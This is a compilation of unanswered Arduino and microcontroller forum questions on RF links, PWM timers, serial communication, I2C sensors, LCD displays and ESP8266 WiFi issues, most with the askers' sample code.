They are currently on my table (cca 20cm distance) and powered by my PC via USB.

What can I do? Is it because the modules are from ebay and probably not the best quality?

Receive part:

// recieve

int ledPin = 13;
int rcvPin = 13;

#include <VirtualWire.h>
byte message[VW_MAX_MESSAGE_LEN]; // a buffer to store the incoming messages
byte messageLength = VW_MAX_MESSAGE_LEN; // the size of the message

void setup() {
  Serial.begin(9600);
  Serial.println("Device is ready");

  // Initialize the IO and ISR
  vw_set_rx_pin(rcvPin); // set pin for rx
  vw_setup(1000); // Bits per sec
  vw_rx_start(); // Start the receiver

  digitalWrite(ledPin,HIGH);
}

void loop() {
  // non-blocking receive
  if (vw_get_message(message, &messageLength)) {
    Serial.print("Received: ");
    for (int i = 0; i < messageLength; i++)  {
      Serial.write(message[i]);
    }
    Serial.println();
    digitalWrite(ledPin, LOW);
    delay(500);
    digitalWrite(ledPin,HIGH);

  }
}

Transmit part:

/*
SimpleSend
This sketch transmits a short text message using the VirtualWire library
connect the Transmitter data pin to Arduino pin 12
pin 11 to high for power
gnd connected to gnd
*/

// RF
int ledPin = 13;
int trxPin = 12;
int pwrPin = 11;

// PIR
int inpPin = 2;               // choose the input pin (for PIR sensor)
int pirState = LOW;             // we start, assuming no motion detected
int val = 0;                    // variable for reading the pin status

#include <VirtualWire.h>

void setup()
{
  Serial.begin(9600);
  Serial.println("Starting...");

  // PIR
  pinMode(inpPin, INPUT);     // declare sensor as input
  // RF
  pinMode(pwrPin, OUTPUT);   // Set digital pin 11 as OUTPUT pins
  digitalWrite(pwrPin,HIGH);

  // Initialize the IO and ISR
  vw_set_tx_pin(trxPin);
  vw_setup(1000); // Bits per sec

  Serial.println("Device is ready to send.");
}

void loop() {

  val = digitalRead(inpPin);  // read input value
  if (val == HIGH) {            // check if the input is HIGH
    digitalWrite(ledPin, HIGH);  // turn LED ON
    if (pirState == LOW) {
      // we have just turned on
      Serial.println("Motion on seonsor 1!");
      send("1:ON");
      // We only want to print on the output change, not state
      pirState = HIGH;
    }
  } else {
    digitalWrite(ledPin, LOW); // turn LED OFF
    if (pirState == HIGH){
      // we have just turned of
      Serial.println("Motion ended on seonsor 1");
      send("1:OFF");
      // We only want to print on the output change, not state
      pirState = LOW;
    }
  }

}

void send (char *message)
{
  vw_send((uint8_t *)message, strlen(message));
  vw_wait_tx(); // Wait until the whole message is gone
}


texts: Always HIGHT line on Oscilloscope when UNO's Fast PWM TOP ICR1

texts:
I have been trying to get an answer my question for a 2 days already. It's good for knowledge collecting and playing with different things, but there haven't been a solution so far.
I'm trying to leverage the HXT500 Servo with the Fast PWM with a TOP ICR1
I'm using the DFRobot DFRduino UNO v3.0 (R3) analog of the Arduino UNO. Based on the Atmega 328P-PU
I have an Oscilloscope till 5 MHz as additional tool
Question

Why the Fast PWM, TOP ISC1 always has the HIGHT only on a oscilloscope
Why the Clock Prescaler doesn't work

My investigations & observations
I activated the PWM with TOP ICR1 but on my oscilloscope showed only a 5V straight line, I checked different diapasons (horizontal bases) (1a). Connected to pins 10 or 9. I assumed that my UNO works on 1 MHz (9.2.1 Default Clock Source on Page 37) and calculated ICR1, OCR1A:B for 0 and 180 degree.
     void setup() {
      // all as Ports (for outputs)
        DDRB=0xFF;
        DDRC=0xFF;
        DDRD=0xFF;

      // Table 16-4 on Page 141
      // Fast PWM TOP is ICR1
      TCCR1A|=(0<<WGM10)|(1<<WGM11);
      TCCR1B|=(1<<WGM13)|(1<<WGM12);
      ICR1=2499;

      // Table 16-2 on Page 140
      // Clear OC1A/OC1B on Compare Match, set OC1A/OC1B at BOTTOM (non-inverting mode)
      TCCR1A|=(1<<COM1A1)|(1<<COM1B1);

      // Table 16-5 on Page 143
      // clkI/O/8
      TCCR1B|=(0<<CS12)|(1<<CS11)|(0<<CS10); // (2a)
    }

    void loop() {
      digitalWrite(LED_BUILTIN, HIGH);
        // 90 degree
        OCR1A=299;
        OCR1B=299;
      delay(1000);
      digitalWrite(LED_BUILTIN, LOW);
        // 0 degree
        OCR1A=49;
        OCR1B=49;
      delay(1000);
    }

There I noticed the following issues:

I tried different Prescales - there weren't any differences (2a)
I tried 1 MHz, 8 MHz, 16 MHz - straight HIGHT line

What I have tried next:

To use an Example for Servo leveraging from Arduino IDE. It worked but as I understood it worked via Interrupts, not a Hardware solution
To use Fast PWM, 9 & 10-bit. (2a) Prescales didn't work - I had movement
To use Fast PWM, 8-bit (with code adjustment and wrong angles). (2a) Prescalers didn't work - I had movement


texts: Which transistor I should use to switch 12V 0.8A?

texts:
I am have circuit with Arduino NANO and I need to control air valve, which is powered with 12 Volts and 0.8 Amper. Problem is that Arduino NANO is powered with 5 volts. I want to use transistor to achieve it. Which one the best option in this case ?

Thank you for help

PS: I need ON/OFF states only.

PSS: I want to use transistor, not relay, because transistors are quicker.


texts: Problem uploading program to Atmega 328 microcontroller

texts: I recently bought a Atmel Atmega 328 P-PU microcontroller.I tried uploading a program to it by using the circuitry given in the link.I am using a RS 232 breakout board.Here is the link http://www.arduino.cc/en/Main/Standalone .I am not able to upload programs to it.It says problem uploading to board or avrdude attempt 1 out of 10 failed.What can I do about it?


texts: What happens if I don't open the USB serial port of Arduino Pro Micro / Leonardo?

texts:
My question is related to this one. My sketch seems to stop responding after some time if I run it with debug enabled and I don't open the serial port/monitor on the computer.

Does the UART buffer fill up and block or something? Or, does it discard the excess data and keep working?

I can't find information about it.


texts:
I've used the arduino uno with the python serial library months ago and some packets got lost in the way. I've been searching about serial communication for arduino and I've been thinking that I could use some parity systems and other things to guarantee that my packets will arrive. First of all, if I use the parity system of the arduino's serial library, how good it will be? I need to send packets like "this button was touched", but ALL packets must arrive, so if some packet fails, I need to send it again.

How to make it possible? I'm thinking about using the parity system of the arduino's library, but I don't think if it's gonna work well.

Can somebody point me some good text about it?


texts: Bluetooth Low Energy dropping data at 115200 baud?

texts:
I'm transmitting serial data from a sensor on my Arduino simultaneously to my laptop via USB and to a terminal app on my phone via a genuine HM-10 BLE module (onboard a Linksprite BLE Shield).

At 9600 baud, the BLE module was transmitting all of my data to the phone's terminal app without issue. I just figured out how to increase the HM-10 module's baud rate to 115200 (for reference, by sending it an AT+BAUD4 command at 9600 baud from the Arduino IDE console via USB, and then uploading a new sketch to the Arduino with both the USB serial and BLE serial baud rates set to 115200). The data is being received via USB serial flawlessly, but the data received by the terminal app on my phone via BLE appears to be missing chunks of data - and I have to try to connect to it 30+ times to get it to properly connect.

Is 115200 baud too fast to transmit data via BLE? Is there any way to make sure all of the data is properly sent via BLE without slowing the program down too much? 9600 baud is too slow for my application, unfortunately.

I should add that I am using an Arduino M0 pro and the BLE is connected via hardware serial (Serial1) and not SoftwareSerial as would need to be done on the Uno, if that makes a difference.


texts:
I know that you go to preferences.txt and there is editor.font= line setting, but I can't get what font name to type in there to use Ubuntu Mono. I would like to use that font please. I've tried:

Ubuntu_Mono
Ubuntu-Mono
Ubuntu Mono
Ubuntu+Mono
Ubuntu.Mono
UbuntuMono
Ubuntumono
ubuntumono
'Ubuntu Mono'
"Ubuntu Mono"
'UbuntuMono'
"UbuntuMono"
'Ubuntu-Mono'
"Ubuntu-Mono"
'Ubuntu_Mono'
"Ubuntu_Mono"

Thanks for answer :]

PS: Yes, I've restarted the studio every time, but some non-monotype/default font showed up.


texts:
I am interested in Arduino projects. I want to learn to develop my own Arduino based system. The problem is I am not sure which Adruino board must I start with. Any ideas are appreciated, I have searched many discussion forum but could not find a satisfactory answer.

My questions are:

Which Arduino Board should I start with?
Is it possible to work on Arduino based projects without the board; like having a simulation of the board? If so how?


texts: How to transmit characters or just use xbee like serial monitor

texts:
I have an arduino mega and an uno, mega has an xbee s2c as coordinator and uno an xbee s2c as router, both in AT ( transparent ) mode. When I send integers from uno with Serial.write() coordinator receives just fine, but when i try float, negative numbers and chars, i get still integers but as I found out sending chars it is in ASCII. I tried Serial.print() but no result. Is there a way to send a negative float from one xbee to the other in AT mode?

Coordinator code

void setup() {
  Serial.begin(9600);
  while (!Serial) {
    ; // wait for serial port to connect. Needed for native USB port only
  }
  Serial1.begin(9600);
  Serial.println("Comersing test!");
}

void loop() {
  if(Serial1.available()>0){
         Serial.print(Serial1.read());
    }
}`

UNO code

#include <SoftwareSerial.h>
 SoftwareSerial xbSerial(8, 7); // RX, TX
void setup() {
  xbSerial.begin(9600);
  xbSerial.write("First data sent!");

}
int x=4;
void loop() {
  // put your main code here, to run repeatedly:
      xbSerial.write(x);
      x++;
      delay(1000);
      delay(1000);
      delay(1000);
}

if I change x in Uno to float, negative or char, I get weird values.


texts: I was uploading a sketch to my Arduino Leonardo and I pressed the reset button accidentally while it was still uploading. Now the board does not get recognized by my computer. Is there something that can be done to save it or should I get a new one?


texts:
for a school project I need to program a display. I've got in almost working.
I made a setup screen in the setup() that just says our groupname and the name of our project for 8 seconds (this works perfectly). After the 8 seconds, I used lcd.clear() and tried to type another line. But after the 8 seconds all it shows are 32 white squares. Anyone has any idea how to fix this?

#include <SoftwareSerial.h> // use the software uart

include <Wire.h>

include <LCD.h>

include <LiquidCrystal_I2C.h>  // F Malpartida's NewLiquidCrystal library

define I2C_ADDR       0x3F // Define I2C Address (use i2c scanner if >necessary)

define BACKLIGHT_PIN  3

define En_pin         2

define Rw_pin         1

define Rs_pin         0

define D4_pin         4

define D5_pin         5

define D6_pin         6

define D7_pin         7

define LED_OFF        0

define LED_ON         1

int x = 5;

/*-----( Declare objects )-----*/

LiquidCrystal_I2C
lcd(I2C_ADDR,En_pin,Rw_pin,Rs_pin,D4_pin,D5_pin,D6_pin,D7_pin);

SoftwareSerial bluetooth(10, 9); // RX, TX

int CurrentCommandASCII = 0; // dit is het commando in ASCII

char CurrentCommand ;// Hier wordt het commando omgezet naar Letters

void setup() {
  bluetooth.begin(9600); // start bluetooth

  Wire.begin();

  delay(200);

  Serial.begin(9600); // start seriele monitor

     pinMode(13, OUTPUT);

   digitalWrite(13, HIGH);

      lcd.begin (16,2);  // initialize the lcd

    // Switch on the backlight

    lcd.setBacklightPin(BACKLIGHT_PIN,POSITIVE);

    lcd.setBacklight(LED_ON);

        // Reset the display

    lcd.clear();

    lcd.home();

    lcd.setCursor(4,0); // Start at character 0 on line 0

    lcd.print("Test");

    delay(1000);

    lcd.setCursor(5,1); // Start at character 0 on line 1

    lcd.print("Test");

    delay(8000);

 lcd.clear();


texts:
I'm trying to blink an LED on an ATMega328P (same MCU as Arduino I think..) using the internal timer but I'm stuck since it doesn't seem to light the LED at all....

#include <avr/io.h>
//#include <avr/delay.h>

void delay(void);

void delay_long(void);

int main(void) {

  DDRB = 0xFF;                   // port B is configured as output   DDRB : 0b11111111
  DDRB &= ~(1<<PB1);             // pin 1 of port B is configured as input  DDRB : 0b11111101
  PORTB = 0x00;                  // pins of port B are low (output) and with no pull-up resistor (input)
  PORTB |= (1<<PB0)|(1<<PB1);    // pin 0 is high (output) and pin 1 is pulled high (input)    PORTB : 0b00000011

  while(1) {
    PORTB &= ~(1<<PB0);
    delay();
    PORTB |= 1<<PB0;
    delay();
    PORTB = ~(1<<PB0);
    delay_long();
    PORTB = 1<<PB0;
    delay_long();
  }

  return 1;

}

void delay(void) {
  TCNT0 = 0x00;
  TCCR0B = 0x05;
  while ( (TIFR0 & TOV0) == 0 )
    ;
  TCCR0B = 0x00;
  TIFR0 |= 1<<TOV0;
}

void delay_long(void) {
  TCNT0 = 0x00;
  TCCR0B = 0x05;
  while ( (TIFR0 & TOV0) == 0 )
    ;
  TCCR0B = 0x00;
  TIFR0 |= 1<<TOV0;
  TCCR0B = 0x05;
  while ( (TIFR0 & TOV0) == 0 )
    ;
  TCCR0B = 0x00;
  TIFR0 |= 1<<TOV0;
}

if I remove the body of the event loop it lights up... so I think I must be missing something in the delay functions...


texts: Generating and reading a PWM signal at the same time on Arduino Uno R3?

texts:
The code below should generate a PWM signal on digital pin 3. But know I want to see if it is even working. I was thinking about a Event triggering method like ISR. But somehow it does not work. I guess a ISR needs to a Input Pin, e.g. it would work, when I would've a PWM signal coming from somewhere.

Is it even possible to generate a PWM signal and read it to see some results on the serial monitor?

edited code:

byte const PWM_PIN = 3;

volatile unsigned long pwm_value = 0;
volatile unsigned long prev_time = 0;

void setup() {
  pinMode(PWM_PIN, OUTPUT);
  Serial.begin(9600);
  attachInterrupt(digitalPinToInterrupt(PWM_PIN), rising, RISING);
}

void loop() {
  digitalWrite(PWM_PIN, HIGH);
  delay(400);
  digitalWrite(PWM_PIN, LOW);
  delay(1600);
}

void rising() {
  attachInterrupt(digitalPinToInterrupt(PWM_PIN), falling, FALLING);
  prev_time = millis();
}

void falling() {
  attachInterrupt(digitalPinToInterrupt(PWM_PIN), rising, RISING);
  pwm_value = millis()-prev_time;
  Serial.println(pwm_value);
}


texts:
I have a curiosity. What is the difference between adding a header file directly on the arduino IDE and the header file inside another h-file.
For example:
#include "MPU6050_6Axis_MotionApps20.h"
void setup()
{
}
void loop()
{

}

This last didn't give me any problem, but when I create a h-file and add inside that h-file that library, it gave me an error:
ARDUINO:
#include "Prueba.h"
void setup()
{
}
void loop()
{

}

Prueba.h
//#ifndef Prueba_H
//#define Prueba_H
//#define LIBRARY_VERSION   1.0.0

#include "MPU6050_6Axis_MotionApps20.h"
class Prueba
{
  public:
  Prueba();
};
//#endif

Part of the error code is:
C:\Users\linco\Documents\Arduino\libraries\MPU6050-0.2.1\src\MPU6050.cpp:1679:9: note: implicit this pointer type mismatch
 uint8_t MPU6050::getIntStatus() {
         ^
C:\Users\linco\Documents\Arduino\libraries\MPU6050-0.2.1\src\MPU6050.h:438:7: note: type 'struct MPU6050' itself violates the C++ One Definition Rule
 class MPU6050 {
       ^
C:\Users\linco\Documents\Arduino\libraries\MPU6050-0.2.1\src/MPU6050.h:438:7: note: the incompatible type is defined here
 class MPU6050 {
       ^
C:\Users\linco\Documents\Arduino\libraries\MPU6050-0.2.1\src\MPU6050.cpp:1679:9: note: 'getIntStatus' was previously declared here
 uint8_t MPU6050::getIntStatus() {
         ^
C:\Users\linco\Documents\Arduino\libraries\MPU6050-0.2.1\src\MPU6050.cpp:1679:9: note: code may be misoptimized unless -fno-strict-aliasing is used
collect2.exe: error: ld returned 1 exit status
exit status 1

Can someone explain me this?
Thanks in advance.


texts: Why does starting the serial monitor restart the sketch?

texts:
If I upload any sketch that sends serial data, I immediately see the TX/RX LEDs flash once the sketch is uploaded. If I then start the serial monitor, the sketch appears to restart.

A bare minimum sketch that shows this behaviour:

void setup()
{
    Serial.begin(9600);
    Serial.println("Setup");
}

void loop()
{
  Serial.println("Loop");
  delay(1000);
}

Tested with several boards and Mac and Windows versions of the IDE.

Example output - it goes back to "Setup" when I open the serial monitor:

Why is this?


texts: Simplify if then else statements for Neopixel/compass project

texts:
I am working on a project where a rotary encoder is generating 0 - 359° output and I am feeding that to a 60 Neopixel ring but I need a way to simplify or come up with a better way of a bunch of if-then-else statements.  Here is some sample code.

// NeoPixel Display
  if ((counter >=3) && (counter <=9))
(
  strip.setPixelColor(0, 255, 0, 0); //set pixel number 1 and set color to red
  strip.show(); //send color to pixel 1 on NeoPixel Ring
)
else if strip.setPixelColor(0, 0, 0, 0);
        strip.show();

  if ((counter >=10) && (counter <=15))
(
  strip.setPixelColor(1, 255, 0, 0); //set pixel number 2 and set color to red
  strip.show(); //send color to pixel 2 on NeoPixel Ring
)
else if strip.setPixelColor(1, 0, 0, 0);
        strip.show();

  if ((counter >=16) && (counter <=21))
(
  strip.setPixelColor(2, 255, 0, 0); //set pixel number 3 and set color to red
  strip.show(); //send color to pixel 3 on NeoPixel Ring
)
else if strip.setPixelColor(2, 0, 0, 0);
        strip.show();


texts: How to call C functions from Arduino sketch?

texts:
I would like to know if there is a way to call functions that are contained within C files using an Arduino sketch?

My C file declares and defines a function. To save putting the messy function definition into my Arduino sketch, I'd like to call the function straight from the sketch.

Is there a standard way to do this using Arduino and C?
Here is the sketch:

#include "crc16.h";

void setup(){

}

void loop(){

  CalculateCRC16("<09M", 4);

}

and this is the trimmed down C file:

#include <stdio.h>
#include <stdint.h>

uint16_t crctable[256] =
{
    0x0000, 0x1189,.....

uint16_t // Returns Calculated CRC value
CalculateCRC16( // Call example CalculateCRC16("<09M", 4);
    const void *c_ptr, // Pointer to byte array to perform CRC on
    size_t len)        // Number of bytes to CRC
{

    uint16_t crc = 0xFFFF // Seed for CRC calculation
    const uint8_t *c = c_ptr;

    while (len--)
        crc = (crc << 8) ^ crctable[((crc >> 8) ^ *c++)];

    return crc;
}


texts: Connection between ATTiny85 and RaspberryPi3 with nRF24L01+

texts:
I'm hoping someone can help me since I've been struggling with this all weekend. I've got 2 nRF24L01+ breakout cards and I'm trying to send data from a ATTiny85 to a Raspberry Pi 3.

My setup is (the attiny85 breadboard has a 3.3V power supply):

And the code I'm testing is for the ATTiny85:

#define CE_PIN 3
#define CSN_PIN 4

#include "RF24.h"

RF24 radio(CE_PIN, CSN_PIN);

const byte addr[6] = "00001";
int count = 0;

void setup() {
  radio.begin();
  radio.openWritingPipe(addr);
  radio.setPALevel(RF24_PA_MIN);
  radio.stopListening();
}

void loop(void){
  radio.write( &count, sizeof(count) );
  count++;
  delay(1000);
}

And for the Raspberry Pi 3:

#include <cstdlib>
#include <iostream>
#include <sstream>
#include <string>
#include <unistd.h>
#include <RF24/RF24.h>

using namespace std;

// Setup for GPIO 22 CE and CE0 CSN with SPI Speed @ 8Mhz
RF24 radio(RPI_V2_GPIO_P1_22, RPI_V2_GPIO_P1_24, BCM2835_SPI_SPEED_8MHZ);

// Radio pipe addresses for the 2 nodes to communicate.
const uint8_t addr[6] = "00001";

int main(int argc, char** argv){
  radio.begin();
  radio.setPALevel(RF24_PA_MIN);
  radio.openReadingPipe(1, addr);
  radio.startListening();

  // Dump the configuration of the rf unit for debugging
  radio.printDetails();

  int count = 0;

  while (1)
  {
    while ( radio.available() )
    {
      radio.read( &count, sizeof(count) );
      printf("Count: %d\n", count);
    }
    sleep(1);
  }

  return 0;
}


texts:
I'm trying to create a Tic Tac Toe game using the Arduino Uno. Since the Uno has a limited amount of pins to use, I am trying to see if there is a configuration that would make the project possible.

For the button detection circuit I am using a simple voltage divider and an analog pin. I made the following in a circuit simulator:

Now for the LEDs, since the Uno only hosts 9 pins, and we need 18, we need some sort of wizardry to get something working. I came up with the following design using the circuit simulator:

I would use 9 of these, one connected per Arduino pin. Since only one of the LEDs in each of the 9 sets should be on, this type of circuit should allow the Arduino to control all of the 18 LEDs. In the simulation I get about 5mA draw from each side (with 5v and GND).

However my problem is that the LED setup doesn't work. The lights are extremely dim. At first I simply thought that 5mA was not enough for the LED. I decided to measure the current going through the LED and found that it was about 0.8mA. What happened to my 5mA calculation? After all, isn't Arduino pin able to handle about 40mA? Am I asking for too much current?

Where have I gone wrong with this? Thanks in advance for any help.

tommis15


texts:
I need to use multiple photocells as input, but its more than the amount of analog pins that my arduino has.

I'm wondering if theres any way to use a photocell as a digital input, with the photocell triggering at a specific set threshold of light.

It doesn't seem quite possible but I thought I'd ask.


texts:
I am using an Allwin HW-537 SIM800C module. I am also using a 3.7V 2200mAH ICR18650-22F battery which discharges about 4-5 amps according to the datasheet.
However, I am unable to get the status LED on the module blinking.
I have tried using a multimeter to measure the voltage and it was 3.7V.
I did some digging and found a thread on a similar issue with the SIM800L Module where it was fixed by shortening the connection to reduce resistance.
I tried that and still, no luck. I also checked the LED and it works fine.
Am i doing something wrong? Or is the current too high?


texts: Arduino master/slave communication using RS485

texts:
I am using Arduino Uno as a Master Device and 3 Arduino Unos as slave devices.

I am sending data from each slave to master after every 3 seconds continuously, and is going to execute further logic accordingly.

I have been using a lot of libraries to test this scenario.
There are libraries which are using SoftwareSerial and HardwareSerial too, but these libraries are not working for me when i have multiple slaves and one master (It is only working with one master and one slave).

Please suggest me a better library which would be useful in my scenario.

Wiring Diagram:


texts:
By compiling using sdk v1.5 i got following error.Any idea how to resolve it?

mingw32-make.exe -f C:/Users/abc/worksorg/mesh/Makefile all
AR build/app_app.a
LD build/app.out
c:/Espressif/ESP8266_SDK/lib\libmain.a(app_main.o): In function `user_uart_wait_tx_fifo_empty':
(.irom0.text+0x5c4): undefined reference to `user_init'
c:/Espressif/ESP8266_SDK/lib\libmain.a(app_main.o): In function `user_rf_pre_init':
(.irom0.text+0x85a): undefined reference to `user_init'
c:/Espressif/ESP8266_SDK/lib\libwpa.a(wpa_auth.o): In function `wpa_receive':
(.irom0.text+0x9a0): undefined reference to `aes_wrap'
c:/Espressif/ESP8266_SDK/lib\libwpa.a(wpa_auth.o): In function `__wpa_send_eapol':
(.irom0.text+0xd73): undefined reference to `aes_wrap'
collect2.exe: error: ld returned 1 exit status
C:/Users/abc/worksorg/mesh/Makefile:187: recipe for target 'build/app.out' failed
mingw32-make.exe: *** [build/app.out] Error 1


texts: UART connection between Arduino Nano and NodeMCU

texts:
I'm trying to create an UART connection between a Nano and an NodeMCU, running MicroPython.

Code for trying is meaningless - Arduino says "HI", and ESP8266 should receive and print msg value.

Connections :

Nano Rx --> ESP Tx

Nano Tx --> ESP Rx

Nano USB -- > Mac running repl

ESP USB --> Linux running Arduino IDE

BUT- when I physically connect as described the ESP BOARD freezes, in a way I can't even connect it using repl. Only after disconnecting wires (not only powering off the Nano), ESP unfreezes.

Appreciate any help.


texts: Is it possible to use the Wireless SD shield without the wireless function, or XBEE Module? I do not need it to be wireless it simply was cheaper than any other I could find, so I was wondering if it was possible to use it just like a normal, non-wireless SD Shield? Thanks!


texts: I2C sensor hogs the bus with empty write commands

texts:
I am trying to read data from a pair of TLE493-W2B6 magnetic position sensors [1, 2] with Arduino over I2C. I can read from each sensor individually, using the Arduino library from the manufacturer [3, with corrections from 4], but when I try to read both sensors, I can only read the first sensor I initialize. The first sensor then issues empty write commands, and the second sensor NACKs when I try to address it. The sensors have different factory-programmed addresses, and they are connected to the same I2C bus on a PCB with pullup resistors. When I scan the bus for I2C devices, both sensors show up (ie they both ACK their own address).

How do I read both sensors over I2C with Arduino?

Code for reading both sensors:

#include <Tle493d_w2b6.h>

Tle493d_w2b6 sensor_A0 = Tle493d_w2b6(Tle493d_w2b6::MASTERCONTROLLEDMODE, Tle493d_w2b6::TLE493D_W2B6_A0);
Tle493d_w2b6 sensor_A1 = Tle493d_w2b6(Tle493d_w2b6::MASTERCONTROLLEDMODE, Tle493d_w2b6::TLE493D_W2B6_A1);

void setup() {
  Serial.begin(9600);
  while (!Serial);

  sensor_A1.begin();
  sensor_A0.begin();
}

void loop() {
  sensor_A1.updateData();
  Serial.print(sensor_A1.getX());
  Serial.print(", ");
  Serial.print(sensor_A1.getY());
  Serial.print(", ");
  Serial.println(sensor_A1.getZ());

  sensor_A0.updateData();
  Serial.print(sensor_A0.getX());
  Serial.print(", ");
  Serial.print(sensor_A0.getY());
  Serial.print(", ");
  Serial.println(sensor_A0.getZ());

  delay(500);

}

Here is what the average cycle looks like:

(0.005ms) Read the first six registers of sensor A1.

Address frame =  0x22
R/W = R
Data frames = FF 00 FF 80 F1 1F 6A~ (this is as expected)

(0.828ms) Library sends empty write command to sensor A1?

Address frame =  0x22
R/W = W
Data frames = empty

(2.281ms) Attempt to read the first six registers of sensor A0, address is NACK'd, no data is returned.

Address frame =  0x35~
R/W = R
Data frames = empty

(2.353ms) Library sends another empty write command to sensor A1.

Address frame =  0x22
R/W = W
Data frames = empty


texts: Circuit doesn't work when multimeter/current meter is attached

texts:
I'm working on a battery-powered data logger, using a bare Atmega 328. I'm using sleep between sensor readings, via the Narcoleptic library. Everything seems to work fine, until I connect my multimeter to check on the current.

The multimeter uses manual range-setting (i.e., not autoranging). If I set the multimeter to the 0-20 mA range, I can see that my idle current is about 0.250 mA, but the upper value is off-scale. If I try to get a reading on the 0-200 mA range, the circuit misbehaves, never goes into sleep, and doesn't record any data. The current stays constant somewhere around 14-20mA.

Do I need to do something special to accurately measure current in the range of 0.25-40+mA? Or do I need a different kind/quality of multimeter?

My multimeter is a $15 digital unit from Circuit Test, model DMR-1100A.


texts: How to fade an LED in response to a sensor?

texts:
As the sensor "sees" an object nearby, it makes the LED go to full brightness and it remains like that for as long as the sensor keeps on sensing the object. Then, as soon as the sensor stops sensing it, the LED goes OFF instantly... and so on, endlessly. This part of the code works perfectly as it is right now.

MY PROBLEM:

I need all of this ON and OFF switching to happen with smooth PWM fades instead of with abrupt "instant ON" and "instant OFF" changes. I need to have a 1.5 seconds PWM fade-in of the LED from 0% to 100% as soon as the sensor gets activated; and then a 3.5 seconds fade-out as soon as the sensor stops sensing something nearby. As long as the sensor is activated, the LED needs to remain at full brightness. So, simply put: I need the LED to dim smoothly between the sensor's state-changes, instead of changing instantly in an abrupt manner.


texts: Question different ways of connecting L298N motor driver board to arduino and motors and powering them

texts:
I read few posts and tutorials on this topic but none of them kind of answered my questions.  I bought this L298N motor board and i have two motors that are rated 3V

Now i am trying to understand how to connect it to arduino and power the motors.
For example i have a 12V (8x 1.5v AA batteries) I can connect to VCC and GND then enable ENA with a jumper and connect PWN port from arduino to INA. This way i can control the voltage that is coming out from OUTA and OUTB  I can bring down the 12V to 3V.
Now the question is can i use the +5 (regulated voltage) on the driver board and connect it to arduino Vin and GND to ground to power the arduino? Is that viable solution.  I actually tried it and it works.  I am worried that it is not enough voltage to properly power the arduino.  It's suggested to connect 7v - 12v to Vin.  I am also going to connect a red lab ble shield on top of arduino that is powered by 5v

Another question is if i use 12 volts battery and step it down to 3v with PWN is that going to heat up the L298N chip?

Another option is connecting 9V battery to arduino and then using Vin and GND to power the motor shield and the motors.  The problem there if motor draws more then 1Amp that wouldn't be good for the arduino.  Also if i would switch to 9v+ motors then it wouldn't work.

The third option is to have two separate power sources. 9V for arduino and 5v+ for powering the motors.  Does it make sense to use two power sources?

This project seems like a good way to learn about arduino and electronics

Update

NEOMART Brand New Original High Quality Chips L298N
http://www.amazon.com/gp/product/B00E58EA90/ref=oh_aui_detailpage_o04_s00?ie=UTF8&psc=1
Product Details
1. driver chip: L298N Dual H-Bridge Motor Driver IC

drive section terminal supply area Vs: +5V ~ +35V; such as the need to take power within the board, the supply area Vs: +7V ~ +35V
drive section peak current Io: 2A
logical part of the terminal supply area Vss: +5V ~ +7V(can take power within the board +5V)
logical part of the operating current range: 0 ~ 36mA
Control signal input voltage range:
Low:-0.3V ≤ Vin ≤ 1.5V
High: 2.3V ≤ Vin ≤ Vss
enable signal input voltage range:
Low: -0.3 ≤ Vin ≤ 1.5V (control signal is invalid)
High: 2.3V ≤ Vin ≤ Vss (control signal active)
Maximum power consumption: 20W (when the temperature T = 75℃)
Storage temperature: -25℃ ~ +130℃
Driver Board Size: 48mm*43mm*33mm (with fixed copper pillar and the heat sink height)
Other Extensions: control of direction indicators, the logic part of the plate to take power interface.

Update 2:

I wanted to clarify regarding using 12 volt battery and having 2 motors that I think max voltage is 3 volts.  If i use PWN and step down the voltage to 3 volts will L298N produce a lot more heat to step the voltage down?
Probably in this case would be the best just to get two separate power supplies 9 volts for arduino and 4.5 volts for the motor drive to supply 3 volts for each motor.  Unless i get better motors that support 6v - 9v then i can use the 12 volts battery for both arduino and motors.

As far as the motor drivers, I thought they are used to prevent the noise and power spikes from motors?  I guess you still have to consider it either way.

Thanks in advance!


texts:
I am graduating in a month and I want to make an installation with 80 apple homebuttons which are connected to a stepper motor. The idea is that each button that is pressed, turns the stepper motor the same amount of degrees each time. Also, each button is connected to an LED which must stay on, even if the button is pressed again and the motor too must not react. Once all 80 buttons have been pressed, the installation should switch off after a minute or so.

I am not sure how to connect 80 inputs to the arduino. Does anyone have any idea?


texts: Simultaneously reading data from multiple serial ports

texts:
I have three sensors latched on to three different Arduino devices.

The respective Arduino devices are connected on to an Arduino Mega on Serial1, Serial2 and Serial3.

The data from each device component (i.e., an Arduino with an accompanying sensor) were sent in data packets with different starter byte headers ('$' , '/' & '#' ) accompanying the buffered data from each individual device component onto the Mega on the Tx/Rx lines.

My question here is, how can I simultaneously read out all the data from the different serial ports on the Arduino mega sketch?


texts: WiFi problem on Mega + WiFi R3 ATmega2560 + ESP8266

texts:
I've got 2 "Mega + WiFi R3 ATmega2560 + ESP8266" (link) and both have same issue when trying to use the ESP chip.

Hope someone can point me toward something else to try in order to get them working properly.

Context

I'm able to flash the ESP chip using Arduino IDE or PlatformIO.
Dip switch need to be : 5, 6 and 7 ON to flash, and only 5 and 6 to debug through serial.

I've tried using different boards (Generic ESP8266 module, Wemos D1 R2 & mini, Node MCU) as well as different flash mode (DIO, QIO), crystal frequency (26 Mhz, 40 Mhz), CPU frequency (80 Mhz, 160 Mhz)

They all flash correctly without any error and I can get my serial output.

It's written ESP8266EX on the ESP chip. And I've tried with or without an antenna plugged on the board.

Problem

The problem I got on both of them is huge instability when using wifi. I cannot connect to them when they are in AP mode, they drop immediately.. And I cannot connect to or see my own wifi network from the Mega's ESP.

The same script and flashing config used on other ESPs devices work as expected (see [output other ESP board] below). I've tried on WeMos and NodeMCU devices.

But with the mega+wifi, it only see between 0 and 2 access point that are at a greater distance and weaker signal than my own wifi ([output mega+wifi] below).

Question

I don't have any clue on what can cause such a different result on device from same family (ESP/espressif). As if there was some sort of setting that need to be changed on those ESPs.

Any help or insight would be truly appreciated.

[code]

#include "ESP8266WiFi.h"

void setup() {
  Serial.begin(115200);

  // Set WiFi to station mode and disconnect from an AP if it was previously connected
  WiFi.mode(WIFI_STA);
  WiFi.disconnect();
  delay(100);

  Serial.println("Setup done");
}

void loop() {
  Serial.println("scan start");

  // WiFi.scanNetworks will return the number of networks found
  int n = WiFi.scanNetworks();
  Serial.println("scan done");
  if (n == 0)
    Serial.println("no networks found");
  else
  {
    Serial.print(n);
    Serial.println(" networks found");
    for (int i = 0; i < n; ++i)
    {
      // Print SSID and RSSI for each network found
      Serial.print(i + 1);
      Serial.print(": ");
      Serial.print(WiFi.SSID(i));
      Serial.print(" (");
